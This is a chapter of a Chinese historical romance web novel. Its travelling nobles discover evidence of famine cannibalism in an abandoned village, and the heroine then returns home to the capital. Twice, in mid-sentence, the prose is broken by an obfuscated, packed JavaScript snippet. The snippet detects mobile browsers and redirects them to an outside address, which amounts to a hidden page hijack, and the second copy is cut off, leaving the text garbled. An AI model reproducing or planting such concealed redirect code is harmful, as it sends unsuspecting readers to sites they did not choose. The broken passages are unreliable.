是时,紧闭的厢房门突然大开,张茂和薛翊拔剑跃出,裴憬亦紧跟在后,却见廊下并无旁人,只门口三个女郎,局促地立着,各个脸上红得能滴血。 张茂和薛翊提着剑环顾一圈,发现庭中确实无他人,这才将亮出的宝剑收回鞘中。 看着站在廊下面颊通红、紧张兮兮的三个女郎,郎君们面带疑惑,不知发生了何事。 裴憬问裴妍:“阿妹方才怎么了?”好端端的叫啥! 裴妍脸上又红又白,不管是姊妹间的私话,还是她的梦魇,都不能跟郎君们讲,只好转移话题道:“无事,与姊姊们闹着玩罢了。打搅你们了。” “倒也没有,我们本就要出来的,”薛五郎指指天色,朗声笑道,“快哺时了,再不回去,仔细主家找。” 后半句话显然是对着裴娴说的,特意在“主家”二字上加了重音。 裴娴这才想起,快用晚膳啦!她是主家,却为了未婚夫,抛下满屋子的宾客,在这耽搁半晌,她阿母不定也在找她呢。 裴娴匆匆拉起裴妍和柳蕙,对郎君们道:“我们先走,你们随后再出来!” 言罢,三个小女郎手拉着手,一溜烟跑了。留下裴憬、张茂与薛翊面面相觑——倒也不用这么着急吧? 一炷香后,秋水别庄的侧门外,停了一辆素绸封顶的牛车。 雷筠头戴幂离,在婢女的搀扶下,出了小门,盈盈上了车。 小门外站着一个五大三粗、面相威严的老媪。她不屑地瞥了眼车中人,朝车夫一扬帕子,道:“快走吧,多留一刻都嫌丢人!” 车里,雷筠的婢女两眼通红,为自家女郎打抱不平:“这个符媪,仗着是裴家的管事娘子,连我们女郎都敢顶撞。不就是跟王郎君说了几句话么,犯了哪条律法?竟把女郎这么赶出来!郎主也是,听了主母的谗言,居然二话不说就打发我们回家,怎么说,女郎接近王郎也是为了雷家!” 雷筠却脸不红心不跳。她拿帕子擦了擦小婢的眼角,安慰道:“我阿母得宠,主母动不了阿母,只能拿我撒气!至于阿耶,他最喜捧高踩低,我与王郎有私,他看似生气,其实心里不定有多高兴呢!不信?只要我与王家郎君的事真成了,你看我阿耶奉不奉承我!” 那婢女喜道:“这么说,王郎君果然心悦女郎?” 雷筠目露得色:“他与我约定明日在城西的轩云阁会面。”又语带骄傲:“阿母说的没错,这些世家郎君素日里看惯了稳重贤良的高门贵女,又看不上那等没有贞洁的秦楼女妓,如我们这样的小家碧玉,才最合他们胃口!” “可是,做妾到底委屈了女郎!” 雷筠脸上一黯,叹道:“谁不想做正头娘子呢?奈何人各有命,我本是商户庶女,若不自攀高枝,难道等着嫡母把我打发给另一商户做掌柜娘子吗?士农工商,商人再有钱,在那些贵人眼里,依然是满身铜臭的贱人。既如此,我何不攀一攀那高门?当妾又怎样?即便当下被人看不起,可我的孩子将来冠以夫姓,一出生就是世家子,即便是庶出,也比商户强!你且看着,将来,我那些嫡出的兄姊,也得跪着求我的孩子办事!” 雷筠看向窗外,渐黑的夜色里,树影狰狞着朝后退去。 她搅着帕子的手渐渐收紧,暗自盘算着,王导出身高门,又少有才名,来日前途必不可限量。只要她能拢住王导,不止嫡出的兄姊,即便是如今看似高高在上裴家姊妹,来日,所嫁夫婿未必有她显赫! 想到裴妍惊为天人的样貌,雷筠心生不屑,长得美又怎样?天生丽质却不会利用,白瞎了这身好皮囊! 翌日,王导果然早早候在城西的轩云阁里,与那欲擒故纵姗姗来迟的雷筠厮混了一天。 不出三日,二人居然互赠信物,私定终生。 也正如雷筠所料,雷家郎主闻讯后不仅没有反对,反而处处支持,光是承诺给雷筠的陪嫁,就足以与柳家嫡女柳蕙比肩。 这事在闻喜闹得沸沸扬扬,柳蕙和裴娴皆气得不轻。 琅琊王家那里,见纳一个妾就能平白得到那么多金银,自然乐见其成。只是本着先妻后妾的鱼贯之序,王家传话,要等半年后曹家女郎先进门,再迎雷氏女入府。此为后话。 上巳之后,小郭氏母女终于告别在老家悠哉游哉的日子,跟随裴憬、张茂、王导等人启程返京。 山路迂回而下,别庄高耸的鸱尾渐渐隐入云后。 裴妍回头看了眼自己蛰居了三年的地方,心里五味杂陈。来时心不甘情不愿,走时又有些不舍。怅惘之下,不免叹息。 她回头看母亲,见她亦撩着帘子看着窗外不语,想来感受与她相通。 待到了闻喜城外时,裴族长家、柳家等相熟的亲友,皆聚在郊外相送。 张茂打起精神,辅佐裴憬与他们寒暄了许久,直到吉时将误才启程。 一路上,张茂密切关注着小郭氏的身体。她久病初愈,诸人行程不敢太快。且这一路上,路况不好,沿途村镇亦抛荒居多,可见这三年来,水旱灾情并未得到缓解。 这日,天气陡然转热,诸人行将不到二里,便觉得热得不行。一行人路过一处荒村,原以为又是一个被抛荒的村落,张茂见诸人神色恹恹,小郭夫人甚至有些喘不上气,只好就近在村里休整。 裴妍和裴憬小心的将小郭氏扶到一处茅草屋里乘凉。 王导早热得不耐烦,刚坐定就命小厮去找冰凉的井水给他解渴降温。 那小厮兴冲冲地跑到一处井边,放下吊桶打水。 “啊!”没想,却传来一声凄厉的惊叫。 张茂正在一边指点部曲结阵值守呢,就听到后面有人惨叫起来。 他赶紧带人过来查看。 裴妍将好出来透气,听见动静也跟着过去看热闹。 就见那个小厮一屁股坐在地上,吊桶跌落在地,让人毛骨悚然地是,吊桶里水没有多少,里面却有不少碎骨,甚至有一个疑似人骨的脑壳…… 裴妍一个没忍住,直觉得内里五脏翻涌,忍不住吐出来。 容秋赶紧将她拉到一边,拍着她的背,又给她递了水囊,可是裴妍看了水囊一眼,想到地上的狼藉,又吐了起来。 围观的还有不少部曲家仆,也都受不了刺激,纷纷泛起恶心,跟着吐倒一片。 张茂扫了眼周遭,皱眉给容秋使了眼色,容秋赶紧架着肠胃不适的裴妍回了草屋。 众人微微冷静后,才发现这口水井隐隐散发着一股腥臭。 那小厮也是热急了,上来就打水,这才捞上了不该捞的东西。 王导拿便面遮鼻,忍着心悸,围着井边转了一圈,又蹲下来研究了一番地上的碎骨,疑惑地问:“这头骨,倒像是拿利器斫过的,且有烹煮的痕迹。” 他起身,摇头道:“莫不是猴子的脑袋?村里人拿猴子煮了吃,吃完丢井里去了?” 这话站不住脚,水井是要取水用的,猴子的尸骨埋哪不好,偏要抛井里? 王导这么说,很大程度上只是想稳定人心。 张茂面色凝重,眼刀犹如利刃,盯着地上的头骨不说话。 王导拍拍他:“想什么呢?” 张茂没理会他,转头对裴池下令:“找个人,下去看看。” 王导拦他:“何必多事?” 张茂却不为所动,冷声道:“下井者,赏五金!” 裴憬本也在呕吐之列,他虽不懂张茂要干什么,但这么多年的信赖,使他本能地与张茂站一边。 他好不容易抑制住恶心,对身后仍在犹疑的裴池道:“没听见么!敢下去的,赏五金!” 王导皱眉摇头,却拿他们没办法,谁让跟来的裴家部曲不听他的呢! 重赏之下必有勇夫,真有一个胆大的队正自告奋勇下了井。只是他下去的时候还好好的,上来时却也像裴妍那样,站都站不稳,倒地吐得不轻。 “全是,井里全是……”他结结巴巴道。 “全是尸骨?”裴憬忍着恶心,不可置信地问。 那队正语无伦次地点头称是。 诸人脸色煞白。 王导亦震惊,他原以为只是简单的抛尸杀人罢了。 张茂眸光一沉。他素来温和,然而此时却好似魔怔了一般,浑身散发着煞气。 王导自觉地离他远了些! 只听张茂继续下令:“捞尸者,赏五十金!” 五十金!这都能在京郊买套小院啦! 又有一个年轻人大胆地站了出来,就听他道:“某父祖皆为庄子上的屠户,不惧这些。” 然后又叫了两个跟他相熟的年轻部曲在井边接应,又问张茂要了篮子和钩子,自己拿布条遮了口鼻,下井捞尸去了。 不一会就有一篮子骨头被吊了上来。 捞出的尸骨被那两个年轻人平铺在了地上。待他捞上的尸骨越来越多,在场诸人的脸色越来越白。 原来,这些尸骨虽被斫得细碎,但从头骨、胫骨、脊骨这些骨头的数量和大小来看,分明不像是猴子,而是……还没长成的幼童。 这一排排的幼童人骨无章地散落在井边,似在无声地控诉着曾经发生的惨案,已有不少胆小的部曲吓得小便失禁,委顿在地。 王导和张茂脸色皆凝重起来。 王导对张茂摇头道:“足矣。” 张茂仰头看了眼热辣辣的烈阳,金光镀在他俊朗的半边脸上。 王导分明见到有一滴晶莹一闪而逝。 这次张茂没有反对,他派人给井下的年轻人传话,叫他不要捞了。又派人将已捞到的尸骨重新抛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001221|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回井里,填井为碑,掩埋死者。 裴憬已经吐得不行,张茂遣人将他送到了车上休息。 自己却和王导去了旁边的草屋叙话。 这草屋早已破损,哪怕有仆从打扫清理过,依然到处灰扑扑的。 二人坐不下去,干脆站着聊天。 “茂弟以为,可是人殉?” 张茂摇头:“人殉当骨肉完整,何以拆解至此?何况,那些人骨,分明是烹煮过的。” 王导其实隐隐猜到了一些,只是上位如他,不愿意往这方面想罢了。他深深吸气,终是叹道:“竟有人食无辜幼童,牲畜耳!” 牲畜?虎毒还不食子呢!然而,若非将人逼到绝境,有谁愿意放着人不做,去做那畜生都不如的饿鬼呢? 张茂闭眼,总结道:“不是一人,一村皆如此。” “易子而食?”王导终于得出了他最不愿相信的结果。 张茂点头。以前只在史书里听过这种惨况,没想到朗朗乾坤之下,居然真的发生了。 他们这些居高位的王孙公子,入目繁华,行必宝马,衣皆锦绣,何曾想到,在他们看不到的地方,黎民早活得连畜生都不如! “天耶!”门外传来惊呼。 张茂回头,破落的草屋门口孤零零地立着一个裴妍。只见她小脸煞白,眼神惊惶,颤抖的小手紧紧拽着自己的裙摆,显然他们方才的谈话,都被她听了去。 张茂赶紧上前扶住她,责怪道:“定春和容秋呢,怎让你一个人跑外来?” 裴妍没有理会他的诘问,只喃喃道:“那些孩子,是……被吃了?” 王导没有正面回答她,只是对张茂道:“元娘怕是魇着了。莫说是她,就是我等,今日也吓得不轻。” 此时容秋急急寻了来,原来午间炎热,她去车里给裴妍拿腰扇去了。 张茂一个眼刀过去,容秋猜到自己大概又闯了祸,而祸端,便是眼前这个一脸惊惶地立在草屋门前的裴妍。 她赶紧一溜小跑地接替张茂去扶她,可裴妍却一把挣脱了她,抓住张茂的袖口,问他:“那些孩子,刀砍在身上该多疼啊,他们一定在拼命地叫着阿耶阿娘吧?可他们的阿耶阿娘却要吃他们的肉!” 人心肉长,纵是上过沙场见惯生死的张茂,此时也不忍细想。 “阿妍,”张茂犹豫了一瞬,轻轻拍了拍她的肩头,劝她:“这些都是猜测,谁知真相如何!你且回去歇着,有消息我再同你说!” 裴妍摇头,之前,她听阿母说起她的外婆一家出身农户,经常吃不饱穿不暖,碰上灾年还要卖儿鬻女。她便觉得人间最惨莫过于此。直到今日,她亲眼见识了饥馁之下,人性之恶之癫狂,才隐隐意识到,张茂那日说她的“所见皆锦绣”,有着怎样的含义。 “人间已到这般地步么,我却今日才知!”裴妍低头踩着脚底的烂泥,心里只觉被紧紧揪着。她的亲外祖父一家,许就是在这样的饥荒里没的吧? “这是上位者的过失,与你何干?元娘不必自苦。”王导见不得美人落泪,便想好言安抚她。 “上位者?”裴妍嗫嚅了几遍,转头问王导:“都吃人了,这么大的事,天子和娘娘没有决断?” 王导被问住,天子痴傻,皇后骄奢,这俩位皆是高坐明堂目下无尘的主,哪有闲心过问苍生? 他看向张茂,果见那张俊逸的脸上亦牵扯出一抹淡极的苦笑,显然没指望那个“何不食肉糜”的傻天子,和他那个骄奢淫逸的皇后。 然而,这些话,心里想得,嘴上却说不得。王导低头长叹,国无明君,身为臣子的他们能如何自处? 王导自诩是长辈,模棱两可地开解裴妍:“这里离京城尚远,天子哪里能知晓这里的事呢?不过既然叫我等遇上了,自是要上达天听的。” 裴妍与王导不熟,对他的话不置可否,只拿水汪汪的眼睛看向身边的张茂。 张茂不忍她失望,承诺道:“会有人为他们做主的。如你所言,人吃人,是大事。哪个在位者不惧史书手笔?” 即便帝后不管,他也会把事情报与张司空和裴郡公,有他二人在,总能对受灾严重的村镇予以救济,虽说杯水车薪,到底能挽救一二。 裴妍被二人好说歹说地劝了回去。 王导长舒了口气,对张茂道:“平日不知,元娘还有这般侠义心肠。” “她素来仁义。”张茂叹道,眼里是自己都没发觉的柔情。 想起那高坐明堂的痴儿天子,张茂负手握拳,转向窗外,万千感慨,只得一句:“民为邦本,上知之乎?” 这话既像是问天子,也是在问王导。 王导顿时觉得脸上热辣辣的,可转念一想,他琅琊王氏虽说势大,但这天下又不是他王家的,司马家的傻天子败家,关他什么事? 午间燥郁难耐,他举起扇子给自己摇了摇。他才不会自苦呢! 张茂抬起眼皮撩了他一眼,静水流深的眸中含了一丝迁怒——从村里遗留的建筑来看,这个村子在方圆百里内算得上是富庶的。这样还算富庶的村落尚且有如此惨案,更遑论其他村子了。可见这方生民已经惨到何种境地。 吾等食君之禄,却无力忠君之事,裴妍不过一闺阁女子,尚且能忧民至此,吾等竟是连一女子都不如! 窗外落下三两只雀鸟,犹自啄着院里散落的稻草。稻草干瘪,无米粒可充饥,雀鸟哀哀地跳上窗台,张茂伸手扶上窗槛,雀鸟受惊,扑扇着翅膀飞走了。 王导见张茂盯着院外沉思,想起东海王府一众幕僚那见不得人的小算盘,终是摇了摇头,欲言又止。 小郭氏自下车起就心头不舒服,被仆婢扶到一旁的草屋内歇息。 定春没敢拿外面的事烦她,故而她并不知晓外面发生了什么。只是看到女儿自外间回来后,就脸色煞白,问原因,却又一句话不答。问容秋,容秋也支支吾吾的。中间她俩还又出去了一趟,再回来,女儿的脸色更差了。 她关心道:“可是中了暑热?莫不如在此休整一晚再走?” 裴妍听罢脑中瞬间又浮现出那一具具幼童的尸骨,吓得浑身一个机灵,连连摆手道:“不不,不能住这儿,我们这就走吧!越远越好!” 小郭氏觉得奇怪,怎么女儿跟见了鬼似的。正要多问几句,恰王导和张茂派人来请示,道是外面暑热已退,可以出发了。 小郭氏只觉今日诸人似乎都特别心急,好似都万分不想留在这里似的,却又问不出个所以然来,只好糊里糊涂地被诸婢拱卫上车。 车马将行,下面的部曲、仆婢又是好一顿忙活,到处乱糟糟的。 小郭氏一上车,身上又开始不舒服起来,被定春喂了一碗安神汤后,便泛起困来,迷迷糊糊地打起了盹,自然什么都不追究了。 28. 问道苍生多艰难,裴家长房终回京 夜间入了驿馆,小郭氏用了晚膳,就早早歇下了。 裴妍独自在房里吃着羊肉粥,肉汤被炖的雪白,几块斫得细碎的羊骨沉在汤底。她突然想起那些被杀的孩子,烹煮之后,与她现在所用的肉粥,不是一个样子吗? 想到此节,手由不住一抖,粥碗瞬间翻落在地,热乎乎的白汤撒了一片。 容秋赶紧将她拉开,又下楼喊店家来收拾。 裴妍愣愣地盯着淌了一地的汁水,突然觉得自己罪恶缠身——如果这些村民有口吃的,他们还会杀自己的孩子吗? 当然不会!一切种种,皆是因为没吃的啊!人一旦饿疯了,可不就沦为野兽了么!只要一想到那些被杀来吃了的孩童,她就心肝儿揪着似的疼。 她第一次意识到浪费粟谷是很大的罪过。早知道,以前那些饭菜,自己就少吃点,其余都送到这个村子来! 不,她可以只吃一半的的饭菜,其余的都给他们,这样他们就不用杀自己的孩子了! 这样的异想天开很快被晚上来看她的张茂打碎:“阿妍,你省一顿饭,能救几户人家?天下有千千万万家,非你一餐一饭可以救济。” “那我该如何?”裴妍反问。 张茂被问住了。上位者若能像裴妍这样悲天悯人,苍生何至如此艰难。 然而,无论是天子还是朝臣,有几个能有裴妍这样的赤子之心呢?哪怕自诩高明若王导,在这宛若浑水的天下大势面前,也只能束手无策。 “阿茂,如果你是天子该多好!你一定有办法让大家都吃上饭的!” 这话无异于惊天炽雷,听得张茂心神俱震。他本能地拍案而起,环视四周,还好,屋里只他有她俩。 他沉下脸来,低声斥道:“阿妍,这种胡话,断不可再说。你已经不小了,当知道方才的话,足以让我、让我家,甚至钜鹿郡公府,万劫不复!” 这话说得很重了,裴妍粉白的小脸涨得通红。 驿馆的夜晚不算安宁,楼下大堂还有人在玩骰子吃酒。 她这才有些紧张起来,刚才她的声音该不大吧?楼下人该听不到吧? 不消张茂多说,她自己先就鬼祟地拉开槅门一角,觑着门缝朝外看了看,见屋外长廊空无一人,这才放下心来。 结巴着解释:“我……只是觉得,主事之人该当是阿茂哥这样有担当的人。若让阿茂做那一地的郡守,断不会有易子相食的惨案!” 张茂虽斥她胡言,但裴妍的话,却也说到了他的心里。若他能经略一方…… 他抬头看向支开的窗棱,月入中天,恰印西方白虎七宿,他定要让这方苍生不受饥馁之苦! 只是,如今的张家见龙在田,他急不得! 在经历这遭之后,除郭夫人之外的诸人再经过沿途抛荒的村镇时,竟都不敢停留。 往常大家伙走累了,都还想着途经哪个村子里休整一番,如今却是能多走一会就多走一会,非官道不行,非驿站不停。 小郭氏只当众人思乡情切,尽管她身上诸多不适,也都是忍着随诸人行走。 张茂看了心里有数,往往行经驿馆时,能多留一天便多留一天,让郭夫人和队里诸人可以缓上一缓。 让人意想不到的是,越往南走,离京畿越近,跟在裴家身后的队伍就越多。 原来,车队里渐渐依附了不少商队。其时盗匪横行,商贾出行往往自请护卫,即便如此,商队被劫的事也时有发生。因此,当商队在路途中看到豪门士族的车队时,往往奉上财物,自请驸骥尾,以求庇护。 河东裴氏名声在外,这一路上,不时有携着宝物前来请求依附的商队。 裴憬名义上是主事的,但实际拿主意的却是小郭氏与张茂。至于王导,他这个外人也跟着沾光。原来那些商户往往带着美貌的婢妾伎子,来献殷勤时,自然会送上顶尖的与裴憬。 裴憬怕裴妍将此事告知柳蕙,竟一个都不敢收。张茂自也不肯留,于是这些商队进献来的美女都被打包送给了王导。 王导素来风流,白送上门的美女,不要白不要,竟是来者不拒,照单全收。反正他家地方大,人再多也住得下! 当然,那么多商户,也不是谁都能收的。这年头,盗匪扮做平民,杀人越货者大有人在。 张茂主要负责对外接待以及甄选商队,小郭氏负责收礼。 入夜,京郊驿馆中,郭夫人的房间未点油灯,然而众人并不觉得黑黢黢的。 无他,小郭氏和裴妍的矮案前各置了一枚碗口大的夜明珠。珠子晶莹透亮,在寂静的夜里散发着幽幽荧光。 裴妍小心翼翼地将它捧到眼前,叹道:“不知它能换多少米粮来?” 小郭氏白了女儿一眼,这孩子不知受了什么刺激,现在看到什么都要拿粟米来换算。 她没有理会女儿的“胡言乱语”,只半靠着缇几,笑意盈盈地吩咐容秋道:“夜里将它置于元娘卧榻的屏风外,起夜方便些。”又转头对张茂道:“几个商队里,就属这家人心意最实在,可知是哪户人家?” 张茂躬身回应:“是凉州贾氏。”凉州,贾氏?郭夫人觉得有些熟悉,却怎么也记不起来在哪里听过,莫非是太原贾家的亲戚? 还是张茂提醒:“是小子大嫂的娘家。”原来是张大郎的妻族!郭夫人回过神来,当年张寔迎亲,裴憬还去给他当过傧相呢!记忆似流水袭来,郭夫人记得,裴憬曾被这家郎君打伤头来着? “当初他家小子不懂事,曾误伤了大郎,幸而府上没有计较,为此他家家主曾亲自登门请罪,只是郎主没有见他。”张茂解释。 如此,郭夫人把玩着手里的夜明珠,嘴角擒着了然的笑,难怪这家人这么大手笔,原来还有负荆请罪的意思。 她把珠子放了回去,对张茂道:“他家意思我省得了,既然当初只是误会,我们也没有抓着不放的道理。只是其他事情,就不是我能做主的了。” 要她原谅可以,这份歉礼她收下了。但是要她给这家人和钜鹿郡公府牵线搭桥,她犯不着。 张茂点头,他原也是架不住大嫂请托,试探着向郭夫人进言一二罢了,没指望能成事。 他自己对这家人尚且没有好感,何况曾为苦主的裴家大房了。 提起凉州,小郭氏便想起那西域的彩宝来。这些年东海王妃给她送了很多东海才有的水玉,她总想着回礼一二。便问他:“听说西北宝石很多,和田玉不过寻常,最难得的是鸽血红宝,然也?” 张茂莞尔,解释道:“凉州玉石不错,至于夫人所说的红宝,却要往大漠以西的佛国去寻。以前商路通达,各类宝石倒也易得,只是如今雍凉频乱,西域诸国亦战火不通,夫人想得红宝,还得过些时日。” 小郭氏点头。裴妍却道:“阿茂哥何必哄阿母,过些日子就能太平吗?”她想起那个满是孩童尸骨的荒村,中原尚且如此,何况边地? 张茂一怔,连裴妍这样守在深闺的女子都能一叶知秋,而那些上位者,却依然醉生梦死歌舞升平。可笑冠盖满京华,还不如一闺中女郎有见识! 是夜,张茂给父亲去信,写写停停,一度不知从何落笔。 元娘说的没错,过些日子又怎样?不太平,终究是不太平! 明眼人都看得出来,贾后立志废储,京畿的平稳维持不了多久。待中原一乱,边地将愈发动荡,曾经繁华的丝路只会更加不通。 要命的是,裴家身在京畿权利中心,贾后与太子斗法,很难不被牵连进去。而他们张家呢?根基在凉州,凉州一乱,张家亦举步维艰。 无论是身处京畿的裴家,还是远在凉州的张家,在这场旷日持久的权力之争中,都很难独善其身。 世家豪门尚且如此,更不用说底下的黎民众生了。那个人吃人的荒村,仅仅是这个纷乱世道的一隅罢了。这偌大的天下,还有多少个这样的村子?还有多少被吃的孩童?不敢想。 恰此时,拾叔呈上张家大郎的来信,张茂阅罢,沉思片刻,落笔写家书: “阿耶容禀,阿嫂父兄所献,皆已转呈夫人。然夫人不悦贾家前事,恐难有勾连。儿经停晋中,见十室九空,赤地千里,白骨黄茅,炊烟断绝,更有乡里,易子而食,不忍卒睹。儿欲置此间见闻于天听,盼上定图赈之法,解生民于倒悬,施皇恩于苍生。纵有悖上意,简秩居官,儿亦无悔。 阿兄闻姊夫大兄袭上庸县侯,迁广陵太守,石太尉子袭昌安县侯,授屯旗校尉,颇意动。阿兄起家至今无有右迁,欲外放州县历事,阿耶以为然否? 儿授郎官在即,郡公与亭侯仍留儿长住府内,儿不忍拂逆。 上党战事顺遂否?祈捷报频传,儿跪叩父安!” …… 时隔一月,当钜鹿郡公府长房母女终于回到暌违已久的洛阳城时,京畿都为之震动。 无他,原有不少人自城门口见着气度卓绝、骑着高头大马的张茂,便投花掷果地一路尾随至钜鹿郡公府门口。 本来诸人的注意力都在张茂身上,然而裴妍下车时,一阵大风陡然吹翻了幂离,将她娇艳的真容露了出来。 尽管只得片刻,然而裴元娘的倾城倾国之色瞬间惊艳众人,连张茂都被掩盖了下去。 于是没多久,裴元娘的美名便传遍了京畿,甚至盖过了堂妹裴妡。尽管京中世家圈都知道,裴妍已经早早被东海王妃看中,但毕竟没有正式下定,依然有不少郎君忍不住打起美人的主意,一时间媒人纷至沓来。小郭氏为此没少着恼,当然这是后话了。 先说裴妍回到府里,随小郭氏拜见了郭老夫人。 因是白日里回的府,二房的郎主裴頠并两个郎君都还在衙署,只女眷在家。 裴妡早早跟宫里告了假,回来和母亲一起,在太夫人处等着。三年未见,郭太夫人消瘦许多,原先合身的道袍,如今罩在身上空荡荡的。裴妍记得她离开京城那年,大母头上还是黑白相间的花发,如今她回来,大母头上已全然白了,心里不由有些心酸。 太夫人见到大孙女,心里是极高兴的。只是她素来清冷自持,任内心如何激荡,脸上只是挂着浅浅的笑意。 她朝裴妍伸出一只干枯的手来,裴妍乖巧地上前拉着。太夫人仔细打量了她一番,却依然看不清她的样子——她的眼神一年不如一年了。 于是郭太夫人又颤着手,将裴妍从发顶一点一点摸到脖颈,这才点点头,似乎对孙女的长成很满意,问她:“可有想大母?” 裴妍回答得毫不犹豫:“想!” 太夫人拍着她的手,笑道:“大母也想你。三年不见,我们元娘长大了。这美貌,放眼京畿无人能比!” “大母不厚道,您前几天才这么夸过我!”一旁的裴妡故作不忿。 王夫人拍拍女儿头顶,叱笑道:“之前日日念叨你阿姊,如今你阿姊归家了,倒又争起宠来!” 王夫人这些年越发丰满,三年未见,腰围又粗了一圈,王家体胖看来是不分男女的。最让人惊喜的是裴妡,这丫头和裴妍一样,身段长开了,竟比裴妍还高上一头,只是身材过于纤细,不似裴妍那般前凸后翘。从长相上说,姊妹俩都是一等一的好相貌,只是裴妍的五官立体些,身上也更丰满些,因而美得更加震撼。 裴妡则略显寡淡了些,配上她洛阳第一才女的美名,很有几分不食人间烟火的清冷。 裴妍与堂妹关系最为要好,赶紧去拉裴妡,对妹妹道:“我也有许多话要同你说!一会去你那玩?” 裴妡欣然应好。众人寒暄了好一阵,郭太夫人放两个孙女出去,自己留了两个儿媳叙话。 姊妹俩好久没有聚在一处了,待从太夫人处出来后,裴妡就急不可耐地拉着裴妍去了自己的院子。正好裴妍的闺房还要收拾一番,晚上裴妍也干脆在裴妡处睡了。 姊妹俩头靠头地躺在榻上,絮絮叨叨说了不少闲话。尤其裴妡,裴妍不在家,府里就她一个女郎,可把她憋坏了。宫里虽说有公主和王家女郎,但到底不是自家姊妹,许多话只能憋在心里。如今好不容易把裴妍盼了回来,忍了三年的闲话,像关不住闸门的洪水,倾泻而出。 她从三年前俩人分别开始,到如今裴妍归京,这中间发生的人事变化絮絮叨叨地讲给堂姊听:“皇后这些年贤惠不少,亲封了十几个后宫。然而那些妃子虽有生育,却都生的女儿,大多还夭折了,帝后很失望。太子却很得意。” “圣上子息不藩,着实愁人!”裴妍附和。 裴妡不置可否,继续道:“太子宠爱的蒋美人去年初生了一个女儿,然而太子妃却一直没动静。王家叔公那里都急坏了!” “太子妃哪里不好?太子竟敢宠妾灭妻!”说到这里,裴妍也很愤慨。 “可不是?嫡亲的姊妹,命数却大不同。你看贾表哥和景风表姊感情就特别好。哦对了,景风阿姊又怀上了,年底就要生了!” “看不出来啊,贾表哥那么风流的人物,却被景风姐姐制住了。”裴妍惊叹。 “谁说不是呢!” “去年你写信给我,说韩芷表姊成亲了,嫁的颍川荀氏的郎君。她过得怎样?”提到贾谧,裴妍自然要问问韩芷的近况。 裴妡摇头,叹道:“不怎样,你知道的,阿芷姊姊最不耐烦规矩的,可荀家却是出了名的古板。年节宫里大宴,我碰见她一回,听说她已经辟府另居了。” 裴妍捂嘴:“和离了?” 裴妡摇头:“这倒没有,荀家与贾家关系尚可,断不可能为了这点小事断了姻亲,只是夫妻俩过不下去,各玩各的罢了。” “阿芷姊姊也是胆大,哪有新妇单独出去住的?”裴妍匪夷所思道。女子开府另居,那是只有公主才有的特权。哪怕是世家贵女,都没有这样的资格。 “何止,我听说,她还养了不少面首呢!”裴妡贴着姐姐的耳朵神秘地道。 裴妍眼睛珠子都快掉出来了:“荀家和贾家都不管?” 裴妡摇头,小声道:“荀家不敢管,贾家呢,不管是从母还是表哥,都宠着她,任她胡来。她又得娘娘喜爱,谁敢说话?” 裴妍真是被这位远房表姊震惊到了。她万万没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“听说早年有术士与他批命,说他必得冠礼后订亲,才可一生平顺。” “切,这什么话?难道早点娶妻会害他不成!” “名士嘛,总归有些与众不同的。”裴妡红着脸替未婚夫婿辩白。 “我家阿妡要嫁给名士了呢!”裴妍故意坏笑着取笑她。 “不及世子妃万一!”裴妡毫不示弱。 “讨厌,让你说我!咯吱你!” “哈哈哈哈……” 姊妹俩在床帐里笑闹个不停,屏风外,进来不久的王夫人轻轻放下内室帷帘,朝照顾裴妡的乳媪侍婢做了噤声的手势,嘴角含笑地走了出去。 裴妡的婚事是王氏千挑万选出来的。他们钜鹿郡公府虽是河东裴氏旁支,但这些年借着贾后之势,早已与嫡支分庭抗礼。 裴妡是王氏与裴頠唯一的嫡女,婚事自然只有他们挑人家的份。这夫家除了要门当户对,家风还要好,公婆脾性还得温和,准女婿除了品性好,才学也不能差,最好是家中嫡长子,这选来选去,就选中了太原王氏的麒麟子王承。 王承自幼有才名。他的母亲与王家亦有亲,且为人温和,不论是裴頠还是王夫人都对他很满意。就是年岁大了点,不过老夫少妻亦有老夫少妻的好处,本来嘛,女人就比男人老得快一些,丈夫年纪大些,面对小娇妻时往往会更疼人。 裴妡在家里的安排下,与王承见过几次。今日听女儿的意思,对那王承也挺满意的,王氏悬着的心终于放了下来。 姊妹俩玩闹够了,皆气喘吁吁地仰躺在榻上休息。 裴妡突然想起什么,对裴妍到:“去岁荀夫人欲送两名婢子与伯母,大母给伯母去了信,伯母不愿意,大母就寻了由头回绝了。” “咦,还有这事?阿母怎么没同我讲过?”荀夫人是小郭氏的嫡母,裴妍的嫡外婆。可是她对小郭氏母女素来不亲近,逢年过节遇上了,也就是个面子情而已。她们在京城时未见她多关照,怎么会在她俩离京后,突然要派人来呢? 奇怪啊!裴妡也想不通。“许是你阿公担心你们,故而请荀夫人物色了婢子相赠也未可知。” 裴妍点头,也只能这么理解了。 裴妡又想起晚膳时的一幕,问裴妍:“今日见你胃口不佳,素日最爱的肉粥居然只吃了一半,可是长途劳累,脾胃虚弱?明日请顾和缓来给你瞧瞧身子?” 裴妍心口一沉,她哪里是胃口不好,而是想起沿途所见,再看府里满桌佳肴,便觉每吃一口,都是罪孽罢了。 她把自己这一路的所见所闻,都说与了裴妡听。尤其是那易子而食的事,听得裴妡惊骇不已。 裴妡自小出入宫闱,从未离开过京城。若说裴妍所见皆是锦绣,那裴妡更甚。如何能想到“盛世”之下,竟还有人吃人的惨况! “怎么还有这等事?”裴妡不可置信道。 “若非亲历,我也不信!”裴妍道,“赤龙叔公和阿茂哥说他们会将此事禀奏天子。但愿以后别再有这种事了。” “呵,上报天子还不如上报娘娘!皇上知道了能如何?再问群臣‘何不食肉糜’么?”裴妡的反应与张茂如出一辙! 